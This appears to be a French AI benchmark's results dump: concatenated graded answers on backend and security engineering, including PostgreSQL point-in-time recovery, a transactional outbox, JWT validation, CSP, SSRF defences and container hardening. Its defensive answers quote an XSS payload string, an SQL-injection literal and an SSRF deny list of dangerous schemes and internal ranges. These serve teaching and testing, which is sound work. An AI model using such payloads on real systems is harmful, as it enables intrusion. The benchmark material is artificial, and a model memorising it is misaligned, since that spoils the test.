Blind Benchmark 300 · Niveau 5 · campagne AIBLACK-300-20260830T183052882Z · correcteur externe indépendant
Intégralité publiée : question posée, réponse brute non retouchée, réponse attendue du corrigé, décision de notation et empreinte cryptographique. Rien n'est masqué.
Domain=.lanxas.com|Secure|HttpOnly|SameSite=Lax
scheme=https,host=auth.lanxas.com,secure=true,trust_hops=1
BEGIN > SELECT FOR UPDATE > UPDATE > COMMIT
ACCEPTE|ISS=OK (iss=https://auth.lanxas.com/ conforme à l'émetteur attendu)|AUD=OK (aud=lanxas-api conforme à l'audience attendue)|TIME=OK (nbf=1893452400 ≤ 1893453000 < exp=1893456000, soit 600 s après activation et 3000 s avant expiration)
Aucune référence valide : `sha256:8f3a` doit contenir 64 caractères hexadécimaux | aucune immuabilité exploitable | aucune intégrité vérifiable par Docker | aucune reproductibilité garantie sans le digest complet
retry après 200 ms,retry après 400 ms,arrêt succès,3
1000|500|99.850|SLO non respecté
proxy_buffering off | proxy_cache off | gzip off | X-Accel-Buffering: no
CREATE INDEX idx_events_tenant_created_desc ON events (tenant_id, created_at DESC);|tenant_id ASC, created_at DESC|tenant_id|oui: égalité sur tenant_id puis parcours ordonné de created_at, les 50 lignes sont lues d'affilée sans tri ni surcoût lié au volume
{"restore":true,"integrity":true,"duration":true,"data_age":true}I>C>R>E
Access-Control-Allow-Origin=https://app.lanxas.com | Access-Control-Allow-Methods=POST | Access-Control-Allow-Headers=Content-Type | Access-Control-Allow-Credentials=true
default-src 'none'; script-src 'nonce-n7Qp' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Z9_X|S256|abc123|match
ACCOUNT,IP,EXPONENTIAL_DELAY,RESET_ON_SUCCESS
V>H>U>Z
Blocage de l'event loop : la transformation CPU de 900 ms est synchrone sur le thread principal, or les timers Node ne sont pas préemptifs, leurs callbacks ne peuvent être servis qu'au retour dans la phase timers, d'où 3 callbacks en retard d'au plus ~900 ms (retard cumulatif, non compensé)|event loop delay/lag mesuré par `perf_hooks.monitorEventLoopDelay` (histogramme, lire max et p99 en ms, attendu ici de l'ordre de 900 ms), corroboré par l'écart `Date.now()` réel moins échéance théorique du timer et par le temps de handler synchrone|sortir le calcul du thread principal : `worker_threads` avec pool borné (par exemple Piscina, taille ~ nombre de cœurs) ou service/worker externe alimenté par file de travaux, l'endpoint devenant asynchrone (await du résultat ou 202 + polling/webhook si le SLA le permet) ; à défaut, découpage en tranches avec cession de contrôle (`setImmediate`) comme palliatif, qui réduit le lag sans supprimer la contention CPU|event loop delay p99 ramené à l'ordre de quelques millisecondes, callbacks de timers déclenchés à l'échéance, latence des autres requêtes découplée du coût CPU ; la durée du calcul lui-même reste ~900 ms par tâche (elle ne diminue qu'avec le parallélisme sur plusieurs cœurs), et le pool doit être borné sous peine de déplacer la saturation vers l'ordonnanceur OS
1|fermeture obsolète (stale closure) : le callback capture count=0 au premier rendu, donc chaque tick recalcule 0+1 et React ne re-rend pas une valeur inchangée|setCount(c => c + 1)|no
rejet du rejeu (mismatch d'empreinte de corps, clé K déjà liée à une requête différente)|422|aucune écriture, O17 inchangée|aucune référence de commande nouvelle, O17 non retournée
CLOSED > OPEN > HALF-OPEN > CLOSED
identique=trace-id (32 hex du champ 2 du traceparent) conservé à l'identique par Nginx et les deux services Node, ainsi que tracestate transmis tel quel change=parent-id/span-id (16 hex du champ 3), régénéré à chaque nouvelle opération, plus les trace-flags qui peuvent être mis à jour par un service participant à l'échantillonnage lien_enfant=le span-id reçu dans le traceparent entrant devient le parent-span-id (référence parent) du span enfant, qui réémet traceparent avec le même trace-id et son propre span-id traceparent_invalide=ne pas tenter d'en extraire des valeurs partielles ni de réutiliser le tracestate associé, redémarrer une trace neuve (nouveau trace-id et span-id racine) et journaliser le rejet
SEV2|Service d'authentification (IAM : vérification des identifiants et émission de session/jeton)|Indisponibilité totale de la connexion pendant 12 min, 100 % des tentatives d'ouverture de session échouent, aucune action authentifiée ni administration possible ; lecture publique opérationnelle, données existantes intactes et lisibles, donc disponibilité de l'authentification nulle mais intégrité et confidentialité non affectées à ce stade|Taux de succès de connexion revenu au niveau de référence et stable sur au moins 15 min consécutives, validé par sonde synthétique et par connexions réelles d'utilisateurs, émission de sessions et rafraîchissement de jetons vérifiés, file d'erreurs 5xx d'authentification résorbée, cause racine identifiée avec correctif ou rollback appliqué et tracé, absence de récidive sur la fenêtre de surveillance, revue de sécurité confirmant l'absence de contournement d'authentification ou d'accès non autorisé pendant l'incident, post-mortem et actions correctives enregistrés
## Réponse au format demandé **base**=restaurer le basebackup de 02:00 dans un `$PGDATA` vide (anciens fichiers écartés, pas écrasés), `pg_wal/` vidé, fichier `recovery.signal` créé avant démarrage | **wal**=`restore_command` pointant sur l'archive continue (série ininterrompue jusqu'à 14:40, donc couverture du point cible), archivage de l'instance restaurée neutralisé ou redirigé pendant le rejeu | **target**=`recovery_target_time = '<AAAA-MM-JJ> 14:31:20+00'` (décalage UTC explicite) + `recovery_target_inclusive = off`, alternative plus fine `recovery_target_lsn` déterminé par `pg_waldump` | **promotion**=`recovery_target_action = 'pause'`, vérification des données, puis `pg_wal_replay_resume()` ou `pg_ctl promote`, nouvelle timeline archivée dans un espace distinct --- ## 1. Diagnostic La configuration décrite remplit les deux conditions nécessaires d'une PITR : une sauvegarde de base antérieure au point cible (02:00 < 14:31:20) et une chaîne de WAL archivés sans discontinuité couvrant l'intervalle 02:00 → 14:31:20 (l'archive va jusqu'à 14:40). La restauration consiste à repartir du basebackup et à rejouer les journaux jusqu'à un point d'arrêt situé avant la suppression de 14:31:27 (principe décrit dans *PostgreSQL/BackupAndRecovery*, Wikibooks : « base backup » plus « all data-changes since then » stockés en WAL, rejoués par le processus de récupération). **Limite structurelle à connaître** : l'arrêt par horodatage se fait sur des enregistrements de validation (commit). Le moteur ne peut donc pas s'arrêter à un instant arbitraire strictement intra-transactionnel : l'état obtenu est celui du dernier commit dont l'horodatage est antérieur (ou égal, selon `recovery_target_inclusive`) à 14:31:20. Ceci est mon exposé du fonctionnement documenté des cibles de récupération ; je n'ai pas de source hors ligne citable pour le détail paramètre par paramètre, je le signale explicitement au point 6. ## 2. Décision recommandée Restauration **hors production**, sur une instance de récupération séparée, puis extraction logique des données perdues ou basculement contrôlé. Motif : une PITR directe sur le cluster de production détruit tout ce qui a été validé entre 14:31:20 et l'instant présent (y compris le trafic légitime postérieur à la suppression). Restaurer à côté permet de récupérer uniquement les lignes supprimées. | Élément | Valeur / action | Rôle | |---|---|---| | Basebackup | copie de 02:00, `$PGDATA` cible vide | état de départ cohérent | | `restore_command` | lecture de l'archive WAL | rejeu 02:00 → 14:31:20 | | `recovery_target_time` | `14:31:20+00` | borne d'arrêt | | `recovery_target_inclusive` | `off` | exclut le commit exactement à la borne | | `recovery_target_action` | `pause` | contrôle avant promotion | | `recovery_target_timeline` | non requis ici | première restauration, timeline 1 | ## 3. Actions concrètes 1. Geler l'écriture applicative et **sauvegarder l'état actuel** du cluster fautif (utile en forensique et comme point de retour), conformément à la recommandation du wikibook de conserver les fichiers du cluster avant suppression. 2. Provisionner une instance de restauration distincte, version majeure identique. 3. Restaurer le basebackup de 02:00 dans un `$PGDATA` vide, y compris les tablespaces (symlinks de `pg_tblspc`) et les fichiers de configuration. 4. Vider `pg_wal/` du répertoire restauré (les WAL utiles viennent de l'archive). 5. Écrire la configuration de récupération, créer `recovery.signal`, démarrer. 6. À la pause de récupération, vérifier la présence des lignes visées puis promouvoir. 7. Réinjecter les données dans la production par `INSERT ... SELECT` depuis un dump ciblé, ou basculer si la perte du trafic postérieur est acceptée et validée par le métier. ## 4. Configuration et commandes ```conf # postgresql.conf ou postgresql.auto.conf de l'instance de restauration restore_command = 'cp /postgres/wal_archive/%f %p' recovery_target_time = '2025-01-01 14:31:20+00' # remplacer par la date réelle recovery_target_inclusive = off recovery_target_action = 'pause' # ne pas polluer l'archive de production avec la nouvelle timeline archive_mode = off # ou : archive_command = 'cp %p /postgres/wal_archive_restore/%f' ``` ```bash # 0. point de retour, AVANT toute manipulation pg_ctl -D "$PGDATA_PROD" stop # ou isolation réseau si arrêt interdit tar -cf /secours/cluster_avant_pitr.tar "$PGDATA_PROD" # 1. cible de restauration vide install -d -m 700 -o postgres -g postgres /var/lib/pgsql/restore # 2. basebackup du jour 02:00 tar -xf /backup/basebackup_0200.tar -C /var/lib/pgsql/restore # 3. WAL locaux inutiles rm -f /var/lib/pgsql/restore/pg_wal/0* # 4. déclencheur de récupération touch /var/lib/pgsql/restore/recovery.signal # 5. démarrage pg_ctl -D /var/lib/pgsql/restore -l /var/log/pg_restore.log start ``` Détermination éventuelle du LSN juste avant la suppression, plus précise qu'un horodatage : ```bash pg_waldump --start=<LSN_debut> --end=<LSN_fin> /postgres/wal_archive/00000001* \ | grep -i -E 'DELETE|COMMIT' # puis : recovery_target_lsn = '<LSN du commit précédant la suppression>' ``` Promotion après contrôle : ```sql SELECT pg_is_in_recovery(); -- attendu : true (pause) SELECT count(*) FROM schema.table_cible; -- contrôle métier SELECT pg_wal_replay_resume(); -- ou : pg_ctl -D ... promote ``` ## 5. Vérification - `pg_is_in_recovery()` doit passer de `true` à `false` après promotion. - Journal serveur : présence d'un message de type « recovery stopping before/at … » puis d'un changement de timeline ; l'absence de ce message d'arrêt signifie que la cible n'a pas été prise en compte. - Contrôle avant/après du nombre de lignes de la table visée, et vérification qu'un enregistrement créé après 14:31:20 est bien absent (preuve que l'arrêt a eu lieu au bon endroit). - `pg_controldata` du répertoire restauré pour confirmer la timeline et le dernier checkpoint rejoué. - Vérifier qu'aucun fichier WAL n'a manqué pendant le rejeu (aucune erreur `restore_command` non triviale dans le log). L'absence d'erreur ne prouve pas la complétude de l'archive, elle en est seulement un indice fort. ## 6. Risques et limites - **Destructivité** : toute PITR appliquée directement en production supprime irrémédiablement les validations postérieures au point cible. Ne l'exécutez qu'avec un point de sauvegarde restaurable et un accord explicite de l'exploitant. L'option la moins destructive est la restauration parallèle. - **Granularité** : impossible de garantir un état « exactement 14:31:20 » ; l'état obtenu est celui d'une frontière de commit. Si d'autres transactions légitimes ont été validées entre 14:31:20 et 14:31:27, elles seront perdues par cette approche. - **Nouvelle timeline** : la promotion crée une timeline distincte. Si l'archive de production est réutilisée sans séparation, vous risquez un mélange de timelines et une corruption de la stratégie de sauvegarde ultérieure. - **Fenêtre d'archive** : l'archive s'arrête à 14:40. Tout ce qui a été écrit après et non archivé n'est pas récupérable par cette voie. - **Rien n'est « sans risque »** : risques résiduels d'incohérence applicative (clés externes, files de messages, systèmes tiers déjà informés de la suppression), d'espace disque insuffisant, et d'écart de version majeure entre backup et binaire. - **Honnêteté sur les sources** : je n'ai pas exécuté ces commandes et je ne dispose pas d'accès à votre environnement. La source hors ligne que j'ai réellement consultée est l'article *PostgreSQL/BackupAndRecovery* (Wikibooks), qui documente le principe PITR, `wal_level`, `archive_mode`, `archive_command`, `pg_basebackup` et le fichier `recovery.signal`. Les noms exacts `recovery_target_time`, `recovery_target_inclusive`, `recovery_target_action`, `recovery_target_lsn`, `restore_command` proviennent de ma connaissance de la documentation officielle PostgreSQL et **doivent être confirmés dans la documentation de votre version majeure** avant application, ma mémoire pouvant être périmée.
ajout nullable, double écriture, backfill borné, contrainte validée
{"order":"Verrouiller toujours les comptes dans un ordre total deterministe (ex. SELECT ... FOR UPDATE avec ORDER BY id croissant, ou tri des identifiants avant toute ecriture), de sorte que A puis B et B puis A deviennent impossibles; idealement une seule instruction UPDATE ... WHERE id IN (...) ORDER BY id ou une procedure unique encapsulant les deux debits","detect":"Intercepter l'erreur en testant explicitement le code SQLSTATE 40P01 (deadlock_detected) et non le message ni une exception generique; journaliser transaction, comptes, tentative, duree, et distinguer 40P01 de 40001 (serialization_failure) et 55P03 (lock_not_available)","action":"ROLLBACK complet de la transaction victime puis rejouer l'operation entiere depuis le debut (jamais reprendre au milieu), avec attente exponentielle et jitter aleatoire (ex. 20ms, 40ms, 80ms +/- jitter), idempotence garantie par une cle d'operation unique pour eviter le double debit","limit":"Nombre maximal de tentatives borne et configure (ex. 3 essais au total), au-dela: echec propre, aucune nouvelle tentative automatique, alerte et mise en file de reprise manuelle ou differee; compteur par operation, pas par processus"}180|60|0|refuser les nouvelles connexions et introduire un pooler (PgBouncer en mode transaction) devant les 3 réplicas plutôt qu'augmenter max_connections
## Diagnostic
Le point faible n'est pas le crash lui-même, c'est la présence de **deux systèmes de durabilité distincts** (la base et le broker) qu'un seul `COMMIT` ne peut pas engager ensemble. Toute séquence du type « COMMIT puis publish » possède une fenêtre où la facture est durable et l'événement perdu à jamais. L'outbox supprime cette fenêtre en ramenant le message dans le périmètre atomique de la base, puis en déplaçant le problème vers une remise **au moins une fois** (at-least-once), qui est réparable, au lieu d'une perte, qui ne l'est pas.
Note de sourçage : la recherche dans l'encyclopédie locale LANXAS (requêtes « transactional outbox pattern » et « two-phase commit atomicité messagerie ») n'a retourné aucun article traitant de ce motif. Ce qui suit s'appuie donc sur les propriétés d'atomicité et de durabilité ACID des SGBD transactionnels et sur le motif d'architecture outbox établi dans la littérature des microservices, sans que je puisse vous citer ici une référence précise vérifiée hors ligne. Je le signale explicitement.
## Les quatre composants, dans l'ordre écriture vers acquittement
**1. L'écriture atomique unique : facture et ligne d'outbox dans la même transaction**
`INSERT INTO invoices` et `INSERT INTO outbox` partagent une seule transaction, sur la **même base** et le même `COMMIT`. C'est l'invariant fondateur : par atomicité, soit les deux lignes existent, soit aucune. Aucun appel réseau au broker n'a lieu avant le commit, sinon on réintroduirait une écriture non atomique.
**2. La table outbox durable, source de vérité de l'intention de publier**
Elle porte l'identité du message (`event_id` en UUID, réutilisé comme clé de déduplication), le type, la charge utile, la clé d'agrégat pour l'ordonnancement, et l'état de publication. Après `COMMIT`, la durabilité (journal de transactions écrit et vidé sur support) garantit qu'un crash de processus, de conteneur ou d'hôte laisse la ligne récupérable au redémarrage. C'est ce composant qui répond directement à votre scénario : le crash immédiatement après `COMMIT` ne perd rien, car l'événement est déjà persisté.
**3. Le relais de publication, processus séparé et rejouable**
Un dispatcher indépendant du chemin requête, soit par interrogation périodique (polling) de la table, soit par capture des changements depuis le journal de réplication (CDC). Il lit les lignes non publiées, les envoie au broker, et **réessaie indéfiniment** avec temporisation exponentielle. Sa propriété essentielle est d'être sans état : redémarré après un crash, il reprend exactement l'ensemble des lignes non marquées. Le verrouillage concurrent (`FOR UPDATE SKIP LOCKED` sur PostgreSQL, à confirmer selon votre version) permet plusieurs instances sans double travail systématique.
**4. L'acquittement durable du broker, puis le marquage, plus la déduplication côté consommateur**
Le relais ne marque la ligne `published_at` **qu'après** un accusé de réception durable du broker (par exemple `acks=all` côté Kafka, ou une confirmation de publication persistante côté AMQP). L'ordre est impératif : ack d'abord, marquage ensuite. L'inversion recrée une perte possible. Comme un crash entre l'ack et le marquage provoque un renvoi, la boucle se ferme obligatoirement par une **déduplication côté consommateur** (table d'inbox indexée sur `event_id`, ou traitement idempotent), qui rend les doublons inoffensifs.
| Fenêtre de crash | Conséquence | Réparation |
|---|---|---|
| Avant `COMMIT` | Ni facture ni événement | Aucune incohérence |
| Juste après `COMMIT` | Facture + outbox durables, non publiée | Relais republie |
| Après envoi, avant ack | Publication incertaine | Relais republie, dédup consommateur |
| Après ack, avant marquage | Message publié deux fois | Dédup consommateur |
## Implémentation de référence
```sql
CREATE TABLE outbox (
event_id uuid PRIMARY KEY,
aggregate_id uuid NOT NULL,
event_type text NOT NULL,
payload jsonb NOT NULL,
created_at timestamptz NOT NULL DEFAULT now(),
published_at timestamptz,
attempts int NOT NULL DEFAULT 0,
last_error text
);
-- Index partiel : la file des messages restant à publier reste petite
-- même si la table conserve un historique.
CREATE INDEX outbox_pending_idx
ON outbox (created_at)
WHERE published_at IS NULL;
```
```python
# Composant 1 et 2 : écriture atomique. Aucun appel reseau au broker ici.
def create_invoice(conn, invoice, event_id):
with conn.transaction(): # un seul COMMIT
conn.execute(
"INSERT INTO invoices (id, customer_id, amount_cents) "
"VALUES (%s, %s, %s)",
(invoice.id, invoice.customer_id, invoice.amount_cents),
)
conn.execute(
"INSERT INTO outbox (event_id, aggregate_id, event_type, payload) "
"VALUES (%s, %s, %s, %s)",
(event_id, invoice.id, "InvoiceCreated", json.dumps(invoice.to_event())),
)
# Un crash ici ne perd rien : les deux lignes sont durables.
```
```python
# Composant 3 et 4 : relais, ack puis marquage. Jamais l'inverse.
def relay_batch(conn, producer, batch_size=100):
with conn.transaction():
rows = conn.execute(
"SELECT event_id, aggregate_id, event_type, payload FROM outbox "
"WHERE published_at IS NULL "
"ORDER BY created_at "
"LIMIT %s FOR UPDATE SKIP LOCKED",
(batch_size,),
).fetchall()
for r in rows:
try:
producer.publish(
topic="invoices",
key=str(r["aggregate_id"]), # ordre par agregat
headers={"event_id": str(r["event_id"])},
value=r["payload"],
require_durable_ack=True, # ack de tous les replicas
)
except BrokerError as exc:
conn.execute(
"UPDATE outbox SET attempts = attempts + 1, last_error = %s "
"WHERE event_id = %s",
(str(exc)[:500], r["event_id"]),
)
continue # sera repris au tour suivant
conn.execute(
"UPDATE outbox SET published_at = now() WHERE event_id = %s",
(r["event_id"],),
)
```
```sql
-- Composant 4, cote consommateur : deduplication.
-- Le conflit sur la cle primaire absorbe silencieusement les rejeux.
INSERT INTO inbox (event_id, processed_at) VALUES ($1, now())
ON CONFLICT (event_id) DO NOTHING;
-- Si 0 ligne inseree : evenement deja traite, on acquitte sans retraiter.
-- L'insertion dans inbox et l'effet metier doivent partager une transaction.
```
## Vérification
La non-perte se démontre par un **invariant**, pas par une campagne de tests, qui ne peut jamais couvrir tous les instants de crash. Invariant à maintenir : *toute facture committée possède une ligne d'outbox committée, et une ligne d'outbox n'est marquée publiée qu'après un acquittement durable du broker.* Il en découle que tout état atteignable après crash contient soit un message non marqué (donc republié par le relais), soit un message acquitté. La perte est exclue par construction, pas par observation.
Contrôles opérationnels à mettre en place :
- Requête sentinelle d'âge de la file : `SELECT max(now() - created_at) FROM outbox WHERE published_at IS NULL`, avec alerte au-delà d'un seuil, un relais mort étant le vrai mode de défaillance en production.
- Comptage des lignes à `attempts` élevé, révélateur d'un message empoisonné.
- Tests d'injection de panne : tuer le processus entre `COMMIT` et publication, puis entre publication et marquage, et vérifier respectivement une remise et un doublon absorbé.
- Réconciliation périodique entre le nombre de factures et le nombre d'événements distincts consommés.
## Risques résiduels et limites
- **Aucune remise exactement une fois.** Vous obtenez au moins une fois plus idempotence. Une architecture qui suppose l'unicité de la remise reste incorrecte, même avec un outbox parfait.
- **Ordre global non garanti.** Seul l'ordre par clé d'agrégat est préservé, et uniquement si le partitionnement du broker s'appuie sur cette clé et si le relais ne parallélise pas une même clé.
- **Latence ajoutée** par l'intervalle d'interrogation. Le CDC sur le journal de réplication la réduit fortement, au prix d'un couplage à la version et à la configuration du SGBD.
- **Croissance de la table.** Sans purge ou partitionnement des lignes publiées, l'index enfle et le relais ralentit. Prévoyez une rétention explicite, et retardez la suppression afin de conserver une fenêtre d'audit.
- **Charge utile figée.** L'événement est sérialisé au moment du commit. Prévoyez un champ de version de schéma dès le départ.
- **Le relais est un point de défaillance silencieux.** Il ne provoque aucune erreur visible côté client, seulement un retard croissant. Sa supervision est plus critique que le code lui-même.
- **Chemin non couvert.** Cette conception protège l'intégrité et la durabilité de l'événement. Elle ne dit rien de la confidentialité de la charge utile, qui peut contenir des données à caractère personnel, ni des droits d'accès à la table outbox, à traiter séparément avec le moindre privilège.LOCK,STALE,JITTER,PREFETCH
304|absent|"v17"|aucune
202|Location: /jobs/{id}|pending|200401,403,404,429
scheme: liste blanche stricte http/https uniquement, rejet de file, ftp, gopher, dict, data, blob, et rejet des URL avec userinfo ou port hors 80/443|dns: résolution côté serveur de tous les enregistrements A/AAAA, validation de chaque IP obtenue, puis connexion sur l'IP validée (pinning) pour supprimer la fenêtre TOCTOU du DNS rebinding|redirect: suivi automatique des redirections désactivé, chaque saut 3xx revalidé intégralement par les mêmes contrôles, nombre de sauts plafonné, refus des changements de schéma|destination: refus par défaut avec blocage des plages non routables 169.254.0.0/16, 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 100.64/10, 0.0.0.0/8, ::1, fc00::/7, fe80::/10 et IPv4-mapped, sortie forcée via un proxy egress à liste blanche de domaines
attribut HTML entre guillemets (valeur d'attribut délimitée)|`"` → `"` et `'` → `'` (échappement contextuel d'attribut, appliqué aussi à `&` → `&` pour rester univoque)|interdiction d'attributs non délimités (sans guillemets) et interdiction d'injecter une donnée utilisateur dans un attribut d'événement (`on*`) ou une URL `javascript:`/`data:`|la chaîne devient `x" onmouseover="alert(1)`, valeur littérale unique : l'attribut n'est pas refermé, aucun gestionnaire d'événement n'est créé, l'injection est neutralisée (risque résiduel si l'échappement n'est pas appliqué à 100 % des points de sortie ou si le contexte change, d'où CSP en défense en profondeur)
Requête paramétrée|Liaison de paramètre ($1)|Traitement comme chaîne littérale|Condition email = ''' OR true--' (recherche exacte)
Contrôle de la taille réelle du flux reçu côté serveur, avec rejet au-delà de 5 Mo et arrêt de lecture dès le dépassement (le fichier de 12 Mo est rejeté ici, avant toute autre analyse) > Vérification du type réel par inspection du contenu (signature PNG 89 50 4E 47 0D 0A 1A 0A et structure des chunks), en ignorant l'extension .png et le Content-Type déclarés par le client, avec liste blanche stricte des types autorisés > Décodage et réencodage complet de l'image par une bibliothèque durcie (limites de dimensions et de pixels contre les bombes de décompression, suppression des métadonnées et de tout chunk non nécessaire), toute donnée non décodable en PNG valide, dont le HTML actif embarqué, étant éliminée ou entraînant le rejet > Neutralisation du stockage et de la restitution : nom de fichier régénéré côté serveur (identifiant aléatoire, extension déduite du type validé), écriture hors de la racine web sans droit d'exécution, chemin confiné contre la traversée de répertoire, puis service du fichier avec Content-Type: image/png, X-Content-Type-Options: nosniff, Content-Disposition: attachment ou domaine isolé, et CSP restrictive
HTTP request smuggling (désynchronisation CL.TE/TE.CL)|rejeter la requête sans la transmettre et fermer la connexion|400 Bad Request|interdire la coexistence de Content-Length et Transfer-Encoding, rejeter les valeurs ambiguës ou obfusquées et appliquer une politique de parsing identique sur tous les nœuds conformément à la RFC 9112 §6.3
**Valeur exacte de l'en-tête :** ``` Strict-Transport-Security: max-age=31536000; includeSubDomains; preload ``` Valeur seule, sans le nom de l'en-tête : ``` max-age=31536000; includeSubDomains; preload ``` **Réserve sur la prémisse des « quatre composants »** : la valeur de cet en-tête ne comporte ici que **trois directives** (`max-age`, `includeSubDomains`, `preload`). On n'atteint quatre éléments évalués séparément qu'en comptant à part le nom de directive `max-age` et sa valeur `31536000`, ou en incluant une condition qui **ne figure pas dans la valeur de l'en-tête** : la diffusion de cet en-tête sur une connexion HTTPS valide (les en-têtes HSTS envoyés en HTTP sont ignorés, source : article Wikipedia EN « HTTP Strict Transport Security », section HSTS mechanism overview). Si vous attendiez quatre jetons à l'intérieur de la valeur, la demande n'est pas réalisable en HSTS standard. **Justification des composants** | Composant | Rôle | Étaiement | |---|---|---| | `max-age=31536000` | durée de la politique en secondes ; 31 536 000 s = une année non bissextile | article Wikipedia EN « HTTP Strict Transport Security » : « max-age is specified in seconds; 31,536,000 is equal to one non-leap year », avec l'exemple `Strict-Transport-Security: max-age=31536000` | | `includeSubDomains` | étend la politique à tous les sous-domaines, cohérent avec l'énoncé « tous ses sous-domaines sont prêts » | même article, section Deployment best practices : « The header should specify the includeSubDomains directive » (renvoi RFC 6797 §6.1.2) | | `preload` | marque la candidature à la liste préchargée des navigateurs, soumise via hstspreload.org | l'existence de la liste préchargée et du dépôt de candidature « at no cost » est attestée par le même article et sa référence « HSTS Preload List Submission, hstspreload.org » | | condition externe : en-tête servi en HTTPS sur le domaine apex | sans quoi la politique est ignorée | même article : « HSTS headers over HTTP are ignored » ; « HSTS hosts should declare HSTS policy at their top-level domain name » | **Point d'honnêteté** : le seuil minimal exact exigé par le programme de préchargement (valeur plancher de `max-age`, obligation de redirection HTTP vers HTTPS sur le même hôte) relève des règles opérationnelles publiées par hstspreload.org ; l'article de mon encyclopédie locale mentionne l'existence de cette soumission mais n'en détaille pas les critères chiffrés. Je ne peux donc pas vous en donner le libellé normatif comme fait vérifié ici. La valeur ci-dessus reste néanmoins celle usuellement requise, et `max-age=31536000` est cohérent avec l'ancienneté HTTPS supérieure à un an que vous décrivez.
ok,ok,fail,reject
**Politique minimale**
```
runAsNonRoot: true, runAsUser/runAsGroup = 10001 (UID non-0, non propriétaire des fichiers) | capabilities: drop ALL, add: [] (aucune) | allowPrivilegeEscalation: false (équivalent Docker: --security-opt no-new-privileges) | readOnlyRootFilesystem: true + tmpfs en écriture pour /tmp et les caches nécessaires
```
**Justification des quatre décisions**
| Décision | Raison |
|---|---|
| Utilisateur non root | L'application n'a aucun besoin d'UID 0 ; un compromis du processus n'hérite alors d'aucun droit administrateur dans le conteneur. Principe du moindre privilège (playbook sécurité LANXAS, aligné OWASP). |
| `drop ALL`, aucune capability ajoutée | Le port 8080 est supérieur à 1023, donc hors de la plage privilégiée 0-1023 : **`CAP_NET_BIND_SERVICE` est inutile** (les ports 0-1023 sont normalement réservés et nécessitent ce privilège ou un équivalent, source : article Wikipedia EN « Authbind », /content/wikipedia_en/Authbind). Aucune modification du noyau n'étant requise, `CAP_SYS_ADMIN`, `CAP_SYS_MODULE`, `CAP_NET_ADMIN` sont exclues. |
| Escalade interdite | Empêche qu'un binaire setuid/setgid présent dans l'image ne regagne des privilèges. Le mécanisme setuid est précisément la voie d'escalade décrite pour l'accès aux ports privilégiés (source : /content/wikipedia_en/Authbind, qui mentionne l'objectif de prévenir « possible privilege escalation and system compromise »). |
| Racine en lecture seule | Un serveur HTTP sans état n'écrit pas dans son système de fichiers ; bloque l'écriture d'un webshell ou la modification d'un binaire. Les répertoires réellement volatils sont montés en tmpfs, ce qui préserve l'idempotence du conteneur. |
**Exemple Kubernetes (à adapter, non exécuté ici)**
```yaml
securityContext: # niveau pod
runAsNonRoot: true
runAsUser: 10001
runAsGroup: 10001
fsGroup: 10001
seccompProfile:
type: RuntimeDefault
containers:
- name: http
ports:
- containerPort: 8080
securityContext: # niveau conteneur
allowPrivilegeEscalation: false
privileged: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
volumeMounts:
- { name: tmp, mountPath: /tmp }
volumes:
- name: tmp
emptyDir: { medium: Memory }
```
**Équivalent Docker**
```
docker run --user 10001:10001 --cap-drop=ALL \
--security-opt no-new-privileges --read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=64m \
-p 8080:8080 mon-image:tag
```
**Vérification**
1. `id` dans le conteneur : doit renvoyer `uid=10001`, jamais 0.
2. `grep Cap /proc/1/status` : `CapEff` et `CapPrm` doivent valoir `0000000000000000`.
3. `grep NoNewPrivs /proc/1/status` : doit valoir 1.
4. `touch /test` : doit échouer avec « Read-only file system ».
5. Test fonctionnel : requête HTTP sur 8080 réussie après application de la politique (une politique qui casse le service n'est pas un durcissement acceptable).
**Risques résiduels, à ne pas passer sous silence**
- Cette politique ne rend pas le conteneur « sûr » : elle ne protège pas contre une vulnérabilité applicative (injection, SSRF, désérialisation) ni contre une faille du noyau partagé.
- `readOnlyRootFilesystem: true` casse les applications qui écrivent des logs, des sessions ou des caches sur disque : identifiez ces chemins avant la mise en production et montez-les explicitement.
- Un UID numérique fixe peut entrer en conflit avec les permissions de volumes persistants existants ; vérifiez la propriété des fichiers.
- Points complémentaires non couverts par les quatre décisions demandées, mais recommandés : profil seccomp `RuntimeDefault`, politique réseau restrictive, limites CPU/mémoire, image minimale à versions épinglées et vérification d'empreinte.commit=4ac9 identique dans le déclencheur CI l'attestation et le déploiement avec objet git signé et vérifié, digest=digest sha256 de l'artefact déployé égal au digest produit par le build et résolu de façon immuable sans tag mutable, signature=signature vérifiée sur ce digest exact avec identité de signataire attendue et racine de confiance connue et non révoquée, provenance=attestation de provenance liant ce digest au commit 4ac9 et au builder autorisé et validée par la politique d'admission avant exécution
ALLOW DENY DENY DENY
## Ordre des quatre phases
| Rang | Phase | Rôle |
|---|---|---|
| 1 | **Distribuer K2** (vérification seule, aucune signature) | Pré-charger K2 sur les 3 réplicas |
| 2 | **Signer avec K2** (bascule de l'émetteur) | K1 cesse de signer, K2 devient clé active |
| 3 | **Conserver la vérification K1** pendant la fenêtre de drainage | Les sessions K1 encore valides restent acceptées |
| 4 | **Retirer K1** après expiration de la dernière session K1 | Fin de rotation, K1 révoquée |
## Pourquoi cet ordre est le seul correct
L'ordre ne relève pas d'une convention mais d'un invariant que le système doit respecter à chaque instant $t$ et sur **chaque** réplica $r$ :
$$\mathcal{V}_r(t) \supseteq \{\, k \mid \exists \text{ session non expirée signée par } k \,\}$$
où $\mathcal{V}_r(t)$ est l'ensemble des clés de vérification chargées sur le réplica $r$. Toute violation de cet invariant produit un rejet de session légitime, donc une panne d'authentification, non une faille de confidentialité. (Raisonnement logique, non un fait encyclopédique : je n'ai pas trouvé dans mes encyclopédies locales d'article traitant spécifiquement de la rotation de clés de session multi-réplicas ; les recherches menées n'ont retourné aucune source pertinente sur ce point précis.)
Deux conséquences directes :
- **Distribution avant signature (1 avant 2).** Si l'on signait avec K2 avant que les trois réplicas aient K2, un jeton signé K2 arrivant sur un réplica en retard serait rejeté. Avec 3 réplicas et un équilibrage sans affinité, la probabilité qu'une requête tombe sur un réplica non encore convergé est loin d'être négligeable pendant le déploiement.
- **Retrait de K1 après drainage (4 en dernier).** Retirer K1 avant l'expiration de la dernière session signée K1 invaliderait exactement les sessions que la consigne demande de préserver.
